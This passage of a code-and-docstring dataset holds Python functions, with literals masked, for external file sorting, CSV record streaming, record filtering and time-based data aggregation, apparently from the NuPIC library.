fields)<EOL><DEDENT>", "docstring": "Sort a potentially big file\n\n    filename - the input file (standard File format)\n    key - a list of field names to sort by\n    outputFile - the name of the output file\n    fields - a list of fields that should be included (all fields if None)\n    watermark - when available memory goes bellow the watermark create a new chunk\n\n    sort() works by reading as records from the file into memory\n    and calling _sortChunk() on each chunk. In the process it gets\n    rid of unneeded fields if any. Once all the chunks have been sorted and\n    written to chunk files it calls _merge() to merge all the chunks into a\n    single sorted file.\n\n    Note, that sort() gets a key that contains field names, which it converts\n    into field indices for _sortChunk() becuase _sortChunk() doesn't need to know\n    the field name.\n\n    sort() figures out by itself how many chunk files to use by reading records\n    from the file until the low watermark value of availabel memory is hit and\n    then it sorts the current records, generates a chunk file, clears the sorted\n    records and starts on a new chunk.\n\n    The key field names are turned into indices", "id": "f17647:m0"}
{"signature": "def _sortChunk(records, key, chunkIndex, fields):", "body": "title(additional='<STR_LIT>' % (str(key), chunkIndex))<EOL>assert len(records) > <NUM_LIT:0><EOL>records.sort(key=itemgetter(*key))<EOL>if chunkIndex is not None:<EOL><INDENT>filename = '<STR_LIT>' % chunkIndex<EOL>with FileRecordStream(filename, write=True, fields=fields) as o:<EOL><INDENT>for r in records:<EOL><INDENT>o.appendRecord(r)<EOL><DEDENT><DEDENT>assert os.path.getsize(filename) > <NUM_LIT:0><EOL><DEDENT>return records<EOL>", "docstring": "Sort in memory chunk of records\n\n    records - a list of records read from the original dataset\n    key - a list of indices to sort the records by\n    chunkIndex - the index of the current chunk\n\n    The records contain only the fields requested by the user.\n\n    _sortChunk() will write the sorted records to a standard File\n    named \"chunk_<chunk index>.csv\" (chunk_0.csv, chunk_1.csv,...).", "id": "f17647:m1"}
{"signature": "def _mergeFiles(key, chunkCount, outputFile, fields):", "body": "title()<EOL>files = [FileRecordStream('<STR_LIT>' % i) for i in range(chunkCount)]<EOL>with FileRecordStream(outputFile, write=True, fields=fields) as o:<EOL><INDENT>files = [FileRecordStream('<STR_LIT>' % i) for i in range(chunkCount)]<EOL>records = [f.getNextRecord() for f in files]<EOL>while not all(r is None for r in records):<EOL><INDENT>indices = [i for i,r in enumerate(records) if r is not None]<EOL>records = [records[i] for i in indices]<EOL>files = [files[i] for i in indices]<EOL>r = min(records, key=itemgetter(*key))<EOL>o.appendRecord(r)<EOL>index = records.index(r)<EOL>records[index] = files[index].getNextRecord()<EOL><DEDENT><DEDENT>for i, f in enumerate(files):<EOL><INDENT>f.close()<EOL>os.remove('<STR_LIT>' % i)<EOL><DEDENT>", "docstring": "Merge sorted chunk files into a sorted output file\n\n    chunkCount - the number of available chunk files\n    outputFile the name of the sorted output file\n\n    _mergeFiles()", "id": "f17647:m2"}
{"signature": "def close(self):", "body": "if self._file is not None:<EOL><INDENT>self._file.close()<EOL>self._file = None<EOL><DEDENT>", "docstring": "Closes the stream.", "id": "f17648:c0:m3"}
{"signature": "def rewind(self):", "body": "<EOL>super(FileRecordStream, self).rewind()<EOL>self.close()<EOL>self._file = open(self._filename, self._mode)<EOL>self._reader = csv.reader(self._file, dialect=\"<STR_LIT>\")<EOL>self._reader.next()<EOL>self._reader.next()<EOL>self._reader.next()<EOL>self._recordCount = <NUM_LIT:0><EOL>", "docstring": "Put us back at the beginning of the file again.", "id": "f17648:c0:m4"}
{"signature": "def getNextRecord(self, useCache=True):", "body": "assert self._file is not None<EOL>assert self._mode == self._FILE_READ_MODE<EOL>try:<EOL><INDENT>line = self._reader.next()<EOL><DEDENT>except StopIteration:<EOL><INDENT>if self.rewindAtEOF:<EOL><INDENT>if self._recordCount == <NUM_LIT:0>:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % self._filename)<EOL><DEDENT>self.rewind()<EOL>line = self._reader.next()<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>self._recordCount += <NUM_LIT:1><EOL>record = []<EOL>for i, f in enumerate(line):<EOL><INDENT>if f in self._missingValues:<EOL><INDENT>record.append(SENTINEL_VALUE_FOR_MISSING_DATA)<EOL><DEDENT>else:<EOL><INDENT>record.append(self._adapters[i](f))<EOL><DEDENT><DEDENT>return record<EOL>", "docstring": "Returns next available data record from the file.\n\n        :returns: a data row (a list or tuple) if available; None, if no more\n                  records in the table (End of Stream - EOS); empty sequence (list\n                  or tuple) when timing out while waiting for the next record.", "id": "f17648:c0:m5"}
{"signature": "def appendRecord(self, record):", "body": "assert self._file is not None<EOL>assert self._mode == self._FILE_WRITE_MODE<EOL>assert isinstance(record, (list, tuple)),\"<STR_LIT>\" + repr(type(record))<EOL>assert len(record) == self._fieldCount,\"<STR_LIT>\" % (len(record), self._fieldCount)<EOL>if self._recordCount == <NUM_LIT:0>:<EOL><INDENT>names, types, specials = zip(*self.getFields())<EOL>for line in names, types, specials:<EOL><INDENT>self._writer.writerow(line)<EOL><DEDENT><DEDENT>self._updateSequenceInfo(record)<EOL>line = [self._adapters[i](f) for i, f in enumerate(record)]<EOL>self._writer.writerow(line)<EOL>self._recordCount += <NUM_LIT:1><EOL>", "docstring": "Saves the record in the underlying csv file.\n\n:param record: a list of Python objects that will be string-ified", "id": "f17648:c0:m6"}
{"signature": "def appendRecords(self, records, progressCB=None):", "body": "for record in records:<EOL><INDENT>self.appendRecord(record)<EOL>if progressCB is not None:<EOL><INDENT>progressCB()<EOL><DEDENT><DEDENT>", "docstring": "Saves multiple records in the underlying storage.\n\n:param records: array of records as in\n                :meth:`~.FileRecordStream.appendRecord`\n:param progressCB: (function) callback to report progress", "id": "f17648:c0:m7"}
{"signature": "def getBookmark(self):", "body": "if self._write and self._recordCount==<NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>rowDict = dict(filepath=os.path.realpath(self._filename),<EOL>currentRow=self._recordCount)<EOL>return json.dumps(rowDict)<EOL>", "docstring": "Gets a bookmark or anchor to the current position.\n\n:returns: an anchor to the current position in the data. Passing this\n          anchor to a constructor makes the current position to be the first\n          returned record.", "id": "f17648:c0:m8"}
{"signature": "def recordsExistAfter(self, bookmark):", "body": "return (self.getDataRowCount() - self.getNextRecordIdx()) > <NUM_LIT:0><EOL>", "docstring": "Returns whether there are more records from current position. ``bookmark``\nis not used in this implementation.\n\n:return: True if there are records left after current position.", "id": "f17648:c0:m9"}
{"signature": "def seekFromEnd(self, numRecords):", "body": "self._file.seek(self._getTotalLineCount() - numRecords)<EOL>return self.getBookmark()<EOL>", "docstring": "Seeks to ``numRecords`` from the end and returns a bookmark to the new\nposition.\n\n:param numRecords: how far to seek from end of file.\n:return: bookmark to desired location.", "id": "f17648:c0:m10"}
{"signature": "def setAutoRewind(self, autoRewind):", "body": "self.rewindAtEOF = autoRewind<EOL>", "docstring": "Controls whether :meth:`~.FileRecordStream.getNextRecord` should\nautomatically rewind the source when EOF is reached.\n\n:param autoRewind: (bool)\n\n    - if True, :meth:`~.FileRecordStream.getNextRecord` will automatically rewind\n      the source on EOF.\n    - if False, :meth:`~.FileRecordStream.getNextRecord` will not automatically\n      rewind the source on EOF.", "id": "f17648:c0:m11"}
{"signature": "def getStats(self):", "body": "<EOL>if self._stats == None:<EOL><INDENT>assert self._mode == self._FILE_READ_MODE<EOL>inFile = open(self._filename, self._FILE_READ_MODE)<EOL>reader = csv.reader(inFile, dialect=\"<STR_LIT>\")<EOL>names = [n.strip() for n in reader.next()]<EOL>types = [t.strip() for t in reader.next()]<EOL>reader.next()<EOL>self._stats = dict()<EOL>self._stats['<STR_LIT>'] = []<EOL>self._stats['<STR_LIT>'] = []<EOL>for i in xrange(len(names)):<EOL><INDENT>self._stats['<STR_LIT>'].append(None)<EOL>self._stats['<STR_LIT>'].append(None)<EOL><DEDENT>while True:<EOL><INDENT>try:<EOL><INDENT>line = reader.next()<EOL>for i, f in enumerate(line):<EOL><INDENT>if (len(types) > i and<EOL>types[i] in [FieldMetaType.integer, FieldMetaType.float] and<EOL>f not in self._missingValues):<EOL><INDENT>value = self._adapters[i](f)<EOL>if self._stats['<STR_LIT>'][i] == None orself._stats['<STR_LIT>'][i] < value:<EOL><INDENT>self._stats['<STR_LIT>'][i] = value<EOL><DEDENT>if self._stats['<STR_LIT>'][i] == None orself._stats['<STR_LIT>'][i] > value:<EOL><INDENT>self._stats['<STR_LIT>'][i] = value<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>return self._stats<EOL>", "docstring": "Parse the file using dedicated reader and collect fields stats. Never\ncalled if user of :class:`~.FileRecordStream` does not invoke\n:meth:`~.FileRecordStream.getStats` method.\n\n:returns:\n      a dictionary of stats. In the current implementation, min and max\n      fields are supported. Example of the return dictionary is:\n\n      .. code-block:: python\n\n         {\n           'min' : [f1_min, f2_min, None, None, fn_min],\n           'max' : [f1_max, f2_max, None, None, fn_max]\n         }\n\n      (where fx_min/fx_max are set for scalar fields, or None if not)", "id": "f17648:c0:m12"}
{"signature": "def clearStats(self):", "body": "self._stats = None<EOL>", "docstring": "Resets stats collected so far.", "id": "f17648:c0:m13"}
{"signature": "def getError(self):", "body": "return None<EOL>", "docstring": "Not implemented. CSV file version does not provide storage for the error\ninformation", "id": "f17648:c0:m14"}
{"signature": "def setError(self, error):", "body": "return<EOL>", "docstring": "Not implemented. CSV file version does not provide storage for the error\ninformation", "id": "f17648:c0:m15"}
{"signature": "def isCompleted(self):", "body": "return True<EOL>", "docstring": "Not implemented. CSV file is always considered completed.", "id": "f17648:c0:m16"}
{"signature": "def setCompleted(self, completed=True):", "body": "return<EOL>", "docstring": "Not implemented: CSV file is always considered completed, nothing to do.", "id": "f17648:c0:m17"}
{"signature": "def getFieldNames(self):", "body": "return [f.name for f in self._fields]<EOL>", "docstring": ":returns: (list) field names associated with the data.", "id": "f17648:c0:m18"}
{"signature": "def getFields(self):", "body": "if self._fields is None:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return copy.copy(self._fields)<EOL><DEDENT>", "docstring": ":returns: a sequence of :class:`~.FieldMetaInfo`\n          ``name``/``type``/``special`` tuples for each field in the stream.", "id": "f17648:c0:m19"}
{"signature": "def _updateSequenceInfo(self, r):", "body": "<EOL>newSequence = False<EOL>sequenceId = (r[self._sequenceIdIdx]<EOL>if self._sequenceIdIdx is not None else None)<EOL>if sequenceId != self._currSequence:<EOL><INDENT>if sequenceId in self._sequences:<EOL><INDENT>raise Exception('<STR_LIT>' %(sequenceId, r))<EOL><DEDENT>self._sequences.add(self._currSequence)<EOL>self._currSequence = sequenceId<EOL>if self._resetIdx:<EOL><INDENT>assert r[self._resetIdx] == <NUM_LIT:1><EOL><DEDENT>newSequence = True<EOL><DEDENT>else:<EOL><INDENT>reset = False<EOL>if self._resetIdx:<EOL><INDENT>reset = r[self._resetIdx]<EOL>if reset == <NUM_LIT:1>:<EOL><INDENT>newSequence = True<EOL><DEDENT><DEDENT><DEDENT>if not newSequence:<EOL><INDENT>if self._timeStampIdx and self._currTime is not None:<EOL><INDENT>t = r[self._timeStampIdx]<EOL>if t < self._currTime:<EOL><INDENT>raise Exception('<STR_LIT>' % r)<EOL><DEDENT><DEDENT><DEDENT>if self._timeStampIdx:<EOL><INDENT>self._currTime = r[self._timeStampIdx]<EOL><DEDENT>", "docstring": "Keep track of sequence and make sure time goes forward\n\n        Check if the current record is the beginning of a new sequence\n        A new sequence starts in 2 cases:\n\n        1. The sequence id changed (if there is a sequence id field)\n        2. The reset field is 1 (if there is a reset field)\n\n        Note that if there is no sequenceId field or resetId field then the entire\n        dataset is technically one big sequence. The function will not return True\n        for the first record in this case. This is Ok because it is important to\n        detect new sequences only when there are multiple sequences in the file.", "id": "f17648:c0:m20"}
{"signature": "def _getStartRow(self, bookmark):", "body": "bookMarkDict = json.loads(bookmark)<EOL>realpath = os.path.realpath(self._filename)<EOL>bookMarkFile = bookMarkDict.get('<STR_LIT>', None)<EOL>if bookMarkFile != realpath:<EOL><INDENT>print (\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (<EOL>realpath, bookMarkDict)<EOL>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>return bookMarkDict['<STR_LIT>']<EOL><DEDENT>", "docstring": "Extracts start row from the bookmark information", "id": "f17648:c0:m21"}
{"signature": "def _getTotalLineCount(self):", "body": "<EOL>if self._mode == self._FILE_WRITE_MODE:<EOL><INDENT>self._file.flush()<EOL><DEDENT>return sum(<NUM_LIT:1> for line in open(self._filename, self._FILE_READ_MODE))<EOL>", "docstring": "Returns:  count of ALL lines in dataset, including header lines", "id": "f17648:c0:m22"}
{"signature": "def getNextRecordIdx(self):", "body": "return self._recordCount<EOL>", "docstring": ":returns: (int) the index of the record that will be read next from\n          :meth:`~.FileRecordStream.getNextRecord`.", "id": "f17648:c0:m23"}
{"signature": "def getDataRowCount(self):", "body": "numLines = self._getTotalLineCount()<EOL>if numLines == <NUM_LIT:0>:<EOL><INDENT>assert self._mode == self._FILE_WRITE_MODE and self._recordCount == <NUM_LIT:0><EOL>numDataRows = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>numDataRows = numLines - self._NUM_HEADER_ROWS<EOL><DEDENT>assert numDataRows >= <NUM_LIT:0><EOL>return numDataRows<EOL>", "docstring": ":returns: (int) count of data rows in dataset (excluding header lines)", "id": "f17648:c0:m24"}
{"signature": "def flush(self):", "body": "if self._file is not None:<EOL><INDENT>self._file.flush()<EOL><DEDENT>", "docstring": "Flushes the file.", "id": "f17648:c0:m26"}
{"signature": "def __enter__(self):", "body": "return self<EOL>", "docstring": "Context guard - enter\n\n        Just return the object", "id": "f17648:c0:m27"}
{"signature": "def __exit__(self, yupe, value, traceback):", "body": "self.close()<EOL>", "docstring": "Context guard - exit\n\n        Ensures that the file is always closed at the end of the 'with' block.\n        Lets exceptions propagate.", "id": "f17648:c0:m28"}
{"signature": "def __iter__(self):", "body": "return self<EOL>", "docstring": "Support for the iterator protocol. Return itself", "id": "f17648:c0:m29"}
{"signature": "def next(self):", "body": "record = self.getNextRecord()<EOL>if record is None:<EOL><INDENT>raise StopIteration<EOL><DEDENT>return record<EOL>", "docstring": "Implement the iterator protocol", "id": "f17648:c0:m30"}
{"signature": "def __init__(self, origField, deltaField):", "body": "self.origField = origField<EOL>self.deltaField = deltaField<EOL>self.previousValue = None<EOL>self.rememberReset = False<EOL>", "docstring": "Add a delta field to the data.", "id": "f17649:c1:m0"}
{"signature": "def initFilter(input, filterInfo = None):", "body": "if filterInfo is None:<EOL><INDENT>return None<EOL><DEDENT>filterList = []<EOL>for i, fieldName in enumerate(input.getFieldNames()):<EOL><INDENT>fieldFilter = filterInfo.get(fieldName, None)<EOL>if fieldFilter == None:<EOL><INDENT>continue<EOL><DEDENT>var = dict()<EOL>var['<STR_LIT>'] = None<EOL>min = fieldFilter.get('<STR_LIT>', None)<EOL>max = fieldFilter.get('<STR_LIT>', None)<EOL>var['<STR_LIT>'] = min<EOL>var['<STR_LIT>'] = max<EOL>if fieldFilter['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>var['<STR_LIT>'] = fieldFilter['<STR_LIT>']<EOL>fp = lambda x: (x['<STR_LIT:value>'] != SENTINEL_VALUE_FOR_MISSING_DATA andx['<STR_LIT:value>'] in x['<STR_LIT>'])<EOL><DEDENT>elif fieldFilter['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>if min != None and max != None:<EOL><INDENT>fp = lambda x: (x['<STR_LIT:value>'] != SENTINEL_VALUE_FOR_MISSING_DATA andx['<STR_LIT:value>'] >= x['<STR_LIT>'] and x['<STR_LIT:value>'] <= x['<STR_LIT>'])<EOL><DEDENT>elif min != None:<EOL><INDENT>fp = lambda x: (x['<STR_LIT:value>'] != SENTINEL_VALUE_FOR_MISSING_DATA andx['<STR_LIT:value>'] >= x['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>fp = lambda x: (x['<STR_LIT:value>'] != SENTINEL_VALUE_FOR_MISSING_DATA andx['<STR_LIT:value>'] <= x['<STR_LIT>'])<EOL><DEDENT><DEDENT>filterList.append((i, fp, var))<EOL><DEDENT>return (_filterRecord, filterList)<EOL>", "docstring": "Initializes internal filter variables for further processing.\n    Returns a tuple (function to call,parameters for the filter call)\n\n    The filterInfo is a dict. Here is an example structure:\n      {fieldName: {'min': x,\n                   'max': y,\n                   'type': 'category', # or 'number'\n                   'acceptValues': ['foo', 'bar'],\n                   }\n      }\n\n    This returns the following:\n      (filterFunc, ((fieldIdx, fieldFilterFunc, filterDict),\n                    ...)\n\n    Where fieldIdx is the index of the field within each record\n          fieldFilterFunc returns True if the value is \"OK\" (within min, max or\n             part of acceptValues)\n          fieldDict is a dict containing 'type', 'min', max', 'acceptValues'", "id": "f17650:m0"}
{"signature": "def _filterRecord(filterList, record):", "body": "for (fieldIdx, fp, params) in filterList:<EOL><INDENT>x = dict()<EOL>x['<STR_LIT:value>'] = record[fieldIdx]<EOL>x['<STR_LIT>'] = params['<STR_LIT>']<EOL>x['<STR_LIT>'] = params['<STR_LIT>']<EOL>x['<STR_LIT>'] = params['<STR_LIT>']<EOL>if not fp(x):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Takes a record and returns true if record meets filter criteria,\n    false otherwise", "id": "f17650:m1"}
{"signature": "def _aggr_first(inList):", "body": "for elem in inList:<EOL><INDENT>if elem != SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>return elem<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Returns first non-None element in the list, or None if all are None", "id": "f17650:m2"}
{"signature": "def _aggr_last(inList):", "body": "for elem in reversed(inList):<EOL><INDENT>if elem != SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>return elem<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Returns last non-None element in the list, or None if all are None", "id": "f17650:m3"}
{"signature": "def _aggr_sum(inList):", "body": "aggrMean = _aggr_mean(inList)<EOL>if aggrMean == None:<EOL><INDENT>return None<EOL><DEDENT>aggrSum = <NUM_LIT:0><EOL>for elem in inList:<EOL><INDENT>if elem != SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>aggrSum += elem<EOL><DEDENT>else:<EOL><INDENT>aggrSum += aggrMean<EOL><DEDENT><DEDENT>return aggrSum<EOL>", "docstring": "Returns sum of the elements in the list. Missing items are replaced with\n    the mean value", "id": "f17650:m4"}
{"signature": "def _aggr_mean(inList):", "body": "aggrSum = <NUM_LIT:0><EOL>nonNone = <NUM_LIT:0><EOL>for elem in inList:<EOL><INDENT>if elem != SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>aggrSum += elem<EOL>nonNone += <NUM_LIT:1><EOL><DEDENT><DEDENT>if nonNone != <NUM_LIT:0>:<EOL><INDENT>return aggrSum / nonNone<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns mean of non-None elements of the list", "id": "f17650:m5"}
{"signature": "def _aggr_mode(inList):", "body": "valueCounts = dict()<EOL>nonNone = <NUM_LIT:0><EOL>for elem in inList:<EOL><INDENT>if elem == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>continue<EOL><DEDENT>nonNone += <NUM_LIT:1><EOL>if elem in valueCounts:<EOL><INDENT>valueCounts[elem] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>valueCounts[elem] = <NUM_LIT:1><EOL><DEDENT><DEDENT>if nonNone == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>sortedCounts = list(valueCounts.items())<EOL>sortedCounts.sort(cmp=lambda x,y: x[<NUM_LIT:1>] - y[<NUM_LIT:1>], reverse=True)<EOL>return sortedCounts[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>", "docstring": "Returns most common value seen in the non-None elements of the list", "id": "f17650:m6"}
{"signature": "def _aggr_weighted_mean(inList, params):", "body": "assert(len(inList) == len(params))<EOL>weightsSum = sum(params)<EOL>if weightsSum == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>weightedMean = <NUM_LIT:0><EOL>for i, elem in enumerate(inList):<EOL><INDENT>weightedMean += elem * params[i]<EOL><DEDENT>return weightedMean / weightsSum<EOL>", "docstring": "Weighted mean uses params (must be the same size as inList) and\n    makes weighed mean of inList", "id": "f17650:m7"}
{"signature": "def generateDataset(aggregationInfo, inputFilename, outputFilename=None):", "body": "<EOL>inputFullPath = resource_filename(\"<STR_LIT>\", inputFilename)<EOL>inputObj = FileRecordStream(inputFullPath)<EOL>aggregator = Aggregator(aggregationInfo=aggregationInfo,<EOL>inputFields=inputObj.getFields())<EOL>if aggregator.isNullAggregation():<EOL><INDENT>return inputFullPath<EOL><DEDENT>if outputFilename is None:<EOL><INDENT>outputFilename = '<STR_LIT>' %os.path.splitext(os.path.basename(inputFullPath))[<NUM_LIT:0>]<EOL>timePeriods = '<STR_LIT>''<STR_LIT>'<EOL>for k in timePeriods.split():<EOL><INDENT>if aggregationInfo.get(k, <NUM_LIT:0>) > <NUM_LIT:0>:<EOL><INDENT>outputFilename += '<STR_LIT>' % (k, aggregationInfo[k])<EOL><DEDENT><DEDENT>outputFilename += '<STR_LIT>'<EOL>outputFilename = os.path.join(os.path.dirname(inputFullPath), outputFilename)<EOL><DEDENT>lockFilePath = outputFilename + '<STR_LIT>'<EOL>if os.path.isfile(outputFilename) oros.path.isfile(lockFilePath):<EOL><INDENT>while os.path.isfile(lockFilePath):<EOL><INDENT>print('<STR_LIT>' %lockFilePath)<EOL>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>return outputFilename<EOL><DEDENT>lockFD = open(lockFilePath, '<STR_LIT:w>')<EOL>outputObj = FileRecordStream(streamID=outputFilename, write=True,<EOL>fields=inputObj.getFields())<EOL>while True:<EOL><INDENT>inRecord = inputObj.getNextRecord()<EOL>(aggRecord, aggBookmark) = aggregator.next(inRecord, None)<EOL>if aggRecord is None and inRecord is None:<EOL><INDENT>break<EOL><DEDENT>if aggRecord is not None:<EOL><INDENT>outputObj.appendRecord(aggRecord)<EOL><DEDENT><DEDENT>return outputFilename<EOL>", "docstring": "Generate a dataset of aggregated values\n\n    Parameters:\n    ----------------------------------------------------------------------------\n    aggregationInfo: a dictionary that contains the following entries\n      - fields: a list of pairs. Each pair is a field name and an\n        aggregation function (e.g. sum). The function will be used to aggregate\n        multiple values during the aggregation period.\n\n    aggregation period: 0 or more of unit=value fields; allowed units are:\n          [years months] |\n          [weeks days hours minutes seconds milliseconds microseconds]\n          NOTE: years and months are mutually-exclusive with the other units.\n                See getEndTime() and _aggregate() for more details.\n          Example1: years=1, months=6,\n          Example2: hours=1, minutes=30,\n          If none of the period fields are specified or if all that are specified\n          have values of 0, then aggregation will be suppressed, and the given\n          inputFile parameter value will be returned.\n\n    inputFilename: filename of the input dataset within examples/prediction/data\n\n    outputFilename: name for the output file. If not given, a name will be\n          generated based on the input filename and the aggregation params\n\n    retval: Name of the generated output file. This will be the same as the input\n        file name if no aggregation needed to be performed\n\n\n\n    If the input file contained a time field, sequence id field or reset field\n    that were not specified in aggregationInfo fields, those fields will be\n    added automatically with the following rules:\n\n    1. The order will be R, S, T, rest of the fields\n    2. The aggregation function for all will be to pick the first: lambda x: x[0]\n\n      Returns: the path of the aggregated data file if aggregation was performed\n        (in the same directory as the given input file); if aggregation did not\n        need to be performed, then the given inputFile argument value is returned.", "id": "f17650:m8"}
{"signature": "def getFilename(aggregationInfo, inputFile):", "body": "<EOL>inputFile = resource_filename(\"<STR_LIT>\", inputFile)<EOL>a = defaultdict(lambda: <NUM_LIT:0>, aggregationInfo)<EOL>outputDir = os.path.dirname(inputFile)<EOL>outputFile = '<STR_LIT>' % os.path.splitext(os.path.basename(inputFile))[<NUM_LIT:0>]<EOL>noAggregation = True<EOL>timePeriods = '<STR_LIT>''<STR_LIT>'<EOL>for k in timePeriods.split():<EOL><INDENT>if a[k] > <NUM_LIT:0>:<EOL><INDENT>noAggregation = False<EOL>outputFile += '<STR_LIT>' % (k, a[k])<EOL><DEDENT><DEDENT>if noAggregation:<EOL><INDENT>return inputFile<EOL><DEDENT>outputFile += '<STR_LIT>'<EOL>outputFile = os.path.join(outputDir, outputFile)<EOL>return outputFile<EOL>", "docstring": "Generate the filename for aggregated dataset\n\n    The filename is based on the input filename and the\n    aggregation period.\n\n    Returns the inputFile if no aggregation required (aggregation\n    info has all 0's)", "id": "f17650:m9"}
{"signature": "def __init__(self, aggregationInfo, inputFields, timeFieldName=None,<EOL>sequenceIdFieldName=None, resetFieldName=None, filterInfo=None):", "body": "<EOL>self._filterInfo = filterInfo<EOL>self._nullAggregation = False<EOL>self._inputFields = inputFields<EOL>self._nullAggregation = False<EOL>if aggregationInfo is None:<EOL><INDENT>self._nullAggregation = True<EOL><DEDENT>else:<EOL><INDENT>aggDef = defaultdict(lambda: <NUM_LIT:0>, aggregationInfo)<EOL>if (aggDef['<STR_LIT>'] == aggDef['<STR_LIT>'] == aggDef['<STR_LIT>'] ==<EOL>aggDef['<STR_LIT>'] == aggDef['<STR_LIT>'] == aggDef['<STR_LIT>'] ==<EOL>aggDef['<STR_LIT>'] == aggDef['<STR_LIT>'] ==<EOL>aggDef['<STR_LIT>'] == <NUM_LIT:0>):<EOL><INDENT>self._nullAggregation = True<EOL><DEDENT><DEDENT>self._filter = initFilter(self._inputFields, self._filterInfo)<EOL>self._fields = None<EOL>self._resetFieldIdx = None<EOL>self._timeFieldIdx = None<EOL>self._sequenceIdFieldIdx = None<EOL>self._aggTimeDelta = datetime.timedelta()<EOL>self._aggYears = <NUM_LIT:0><EOL>self._aggMonths = <NUM_LIT:0><EOL>self._aggrInputBookmark = None<EOL>self._startTime = None<EOL>self._endTime = None<EOL>self._sequenceId = None<EOL>self._firstSequenceStartTime = None<EOL>self._inIdx = -<NUM_LIT:1><EOL>self._slice = defaultdict(list)<EOL>if not self._nullAggregation:<EOL><INDENT>fieldNames = [f[<NUM_LIT:0>] for f in aggregationInfo['<STR_LIT>']]<EOL>readerFieldNames = [f[<NUM_LIT:0>] for f in self._inputFields]<EOL>for name in fieldNames:<EOL><INDENT>if not name in readerFieldNames:<EOL><INDENT>raise Exception('<STR_LIT>' % (name))<EOL><DEDENT><DEDENT>if timeFieldName is not None:<EOL><INDENT>self._timeFieldIdx = readerFieldNames.index(timeFieldName)<EOL><DEDENT>if resetFieldName is not None:<EOL><INDENT>self._resetFieldIdx = readerFieldNames.index(resetFieldName)<EOL><DEDENT>if sequenceIdFieldName is not None:<EOL><INDENT>self._sequenceIdFieldIdx = readerFieldNames.index(sequenceIdFieldName)<EOL><DEDENT>self._fields = []<EOL>fieldIdx = -<NUM_LIT:1><EOL>for (name, type, special) in self._inputFields:<EOL><INDENT>fieldIdx += <NUM_LIT:1><EOL>found = False<EOL>for field in aggregationInfo['<STR_LIT>']:<EOL><INDENT>if field[<NUM_LIT:0>] == name:<EOL><INDENT>aggFunctionName = field[<NUM_LIT:1>]<EOL>found = True<EOL>break<EOL><DEDENT><DEDENT>if not found:<EOL><INDENT>aggFunctionName = '<STR_LIT>'<EOL><DEDENT>(funcPtr, params) = self._getFuncPtrAndParams(aggFunctionName)<EOL>self._fields.append((fieldIdx, funcPtr, params))<EOL>if special == FieldMetaSpecial.reset and self._resetFieldIdx is None:<EOL><INDENT>self._resetFieldIdx = fieldIdx<EOL><DEDENT>if special == FieldMetaSpecial.timestamp and self._timeFieldIdx is None:<EOL><INDENT>self._timeFieldIdx = fieldIdx<EOL><DEDENT>if (special == FieldMetaSpecial.sequence and<EOL>self._sequenceIdFieldIdx is None):<EOL><INDENT>self._sequenceIdFieldIdx = fieldIdx<EOL><DEDENT><DEDENT>assert self._timeFieldIdx is not None, \"<STR_LIT>\"<EOL>self._aggTimeDelta = datetime.timedelta(days=aggDef['<STR_LIT>'],<EOL>hours=aggDef['<STR_LIT>'],<EOL>minutes=aggDef['<STR_LIT>'],<EOL>seconds=aggDef['<STR_LIT>'],<EOL>milliseconds=aggDef['<STR_LIT>'],<EOL>microseconds=aggDef['<STR_LIT>'],<EOL>weeks=aggDef['<STR_LIT>'])<EOL>self._aggYears = aggDef['<STR_LIT>']<EOL>self._aggMonths = aggDef['<STR_LIT>']<EOL>if self._aggTimeDelta:<EOL><INDENT>assert self._aggYears == <NUM_LIT:0><EOL>assert self._aggMonths == <NUM_LIT:0><EOL><DEDENT><DEDENT>", "docstring": "Construct an aggregator instance\n\n        Params:\n\n        - aggregationInfo: a dictionary that contains the following entries\n          - fields: a list of pairs. Each pair is a field name and an\n            aggregation function (e.g. sum). The function will be used to aggregate\n            multiple values during the aggregation period.\n\n          - aggregation period: 0 or more of unit=value fields; allowed units are:\n              [years months] | [weeks days hours minutes seconds milliseconds\n              microseconds]\n              NOTE: years and months are mutually-exclusive with the other units.  See\n                    getEndTime() and _aggregate() for more details.\n              Example1: years=1, months=6,\n              Example2: hours=1, minutes=30,\n              If none of the period fields are specified or if all that are specified\n              have values of 0, then aggregation will be suppressed, and the given\n              inputFile parameter value will be returned.\n\n        - inputFields: The fields from the data source. This is a sequence of\n          `nupic.data.fieldmeta.FieldMetaInfo` instances.\n\n        - timeFieldName: name of the field to use as the time field. If None,\n              then the time field will be queried from the reader.\n\n        - sequenceIdFieldName: name of the field to use as the sequenecId. If None,\n              then the time field will be queried from the reader.\n\n        - resetFieldName: name of the field to use as the reset field. If None,\n              then the time field will be queried from the reader.\n\n        - filterInfo: a structure with rules for filtering records out\n\n\n        If the input file contains a time field, sequence id field or reset field\n        that were not specified in aggregationInfo fields, those fields will be\n        added automatically with the following rules:\n\n        1. The order will be R, S, T, rest of the fields\n        2. The aggregation function for these will be to pick the first:\n           lambda x: x[0]", "id": "f17650:c0:m0"}
